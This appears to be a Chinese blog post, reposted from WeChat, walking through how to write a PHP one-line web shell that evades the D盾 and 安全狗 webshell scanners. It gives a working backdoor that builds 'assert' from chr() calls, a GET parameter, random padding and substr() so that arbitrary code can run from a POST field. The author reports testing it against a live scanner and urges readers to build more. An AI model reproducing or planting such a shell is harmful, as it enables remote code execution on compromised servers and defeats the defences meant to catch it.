前言
距离上一次更新已经拖了 1 个多月了 ··· 主要是快考试了,疯狂补,还有一个原因就是 ··· 我 ··· 找不到素材 ···
所以,今天,来骗点访问量
0x001 D 盾和安全狗
今天的目标是写一个过狗马子,绕过我们亲爱的 D 盾和安全狗 首先,了解一下 D 盾和安全狗的查杀 D 盾查杀会跟踪函数,比如
<?php $a="ea-vl"; $a($_PO-ST[a]);?>
在之前这是一个蛮有用的马子,他们只知道 $a 后门跟上了 ($_POST[a]),而“$a” 并不是什么危险函数(ev-al,ass-ert,sys-tem,ex-ec···) 可现在 D 盾会跟踪函数,$a="ev-al",ev-al($_POST[a]),立马报 5 级 安全狗对比 D 盾来说也差不多,两者各有优缺点,可我之前的一些过狗马,D 盾杀出来了,安全狗没有查出来,但就目前来说,安全狗使用的更广泛一些
0x002 编写前#记录的是铮铮自己编写马子的过程 首先,我们去膜拜一下前辈 可以看到前辈写的马,有一种是完全没有危险函数,仅仅用 2 个 POST 或者 2 个 GET 就构造出一句话木马,看起来是没问题了,可 D 盾有人工识别,老木马一棒子锤死,安全狗还会检查你 POST 的内容,GET 的内容,你带一个 assert 进去,分分钟把你 ban 到哭 所以主要用的是一个套路:拼接 何为拼接?$a="1"."2",echo $a, 得到 12 在摸索的过程中 我尝试拼接 eval 结果是 D 盾不报毒 ------ 因为根本就是一段无效代码! php 中,有可拼接函数和不可拼接函数 通过字符串的拼接和转化来实现戳瞎狗眼和砸掉 D 盾,有点搞头 经测试,assert/preg_replace 支持拼接,然而 eval 不支持 那我们就用这些函数戳瞎狗眼,砸掉 D 盾 整理一下思路
1)GET和POST不能直接出现assert
2)不能直接拼接assert3)preg_replace尽量不用,带上/e之后基本都会杀了····
0x003 编写中既然要避免被他抓到把柄,那我们整个马子不能出现一点点破绽,不仅是防带着盾的狗,还是防肉眼扫描 我打算利用 ascii 来绕过肉眼 $a 就等于 assert,虽然肉眼绕过了,但带着盾的狗还没有 当时我就想了个骚思路 既然 assert 可以拼接 那我们为什么不试试分 3 次拼接? 这就够了吗?Of course not 为了混淆带盾狗 我用上了 rand 函数
--- 某不透露姓名的百度百科先生
随机生成四个数夹杂在中间 然后再用 substr 取出我们要用的 assert 哇 很 lowb 的方法 ····· 但是只要能用就行了! #在w3school找了个substr的例子,给你一个例子,自己体会 哈哈哈
用跟刚才一样的套路,加上我们的 lowb 方法
<?php $a = chr(97).chr(115); //as $b = chr(115).chr(101); //se $c = $_GET['f']; //xx.php?f=rt $d = $a.$b.rand(1111,9999).$c; $e = substr($d,0,4).substr($d,8,10); //先取出前面4位,再取出最后两位,拼接起来就是assert了 $e($_POST['a']);//当当,不说你也懂 ?>
完工 这是没有加上 lowb 方法的时候
加上了以后
成功砸烂 D 盾 再来看看我们的狗 (废话 因为根本就没出现 assert) 所以 我还专门跑到虚拟机上测试这个马子是不是真的能用 搭建好 iis 开好安全狗 然后插进去 GG 狗阵亡 #只提供了思路,优化和精简就靠你们了!!
0x004 小结不得不说编写的过程十分的欢乐,不像这篇文章一样枯燥乏味(hhh 希望你不要这么认为),各种查阅资料,各种找 dalao,还重新翻了翻函数库,温故知新 PHP 的函数库是很丰富的,用你们炸天的大脑,用组合技,用连招,用各种骚思路写出能戳瞎狗眼和砸掉 D 盾的马子吧(写完了发我一份 ···?) 我会在最近写一篇关于回调后门的文章(没错,还是原创水文) 我会坚持更新原创文章 希望各位 dalao 能够和我一起交流 最后 作为一个好学生... 我的心愿是... 世界和平...
from:https://mp.weixin.qq.com/s?__biz ... Z0U9DgF90chijXBc#rd
|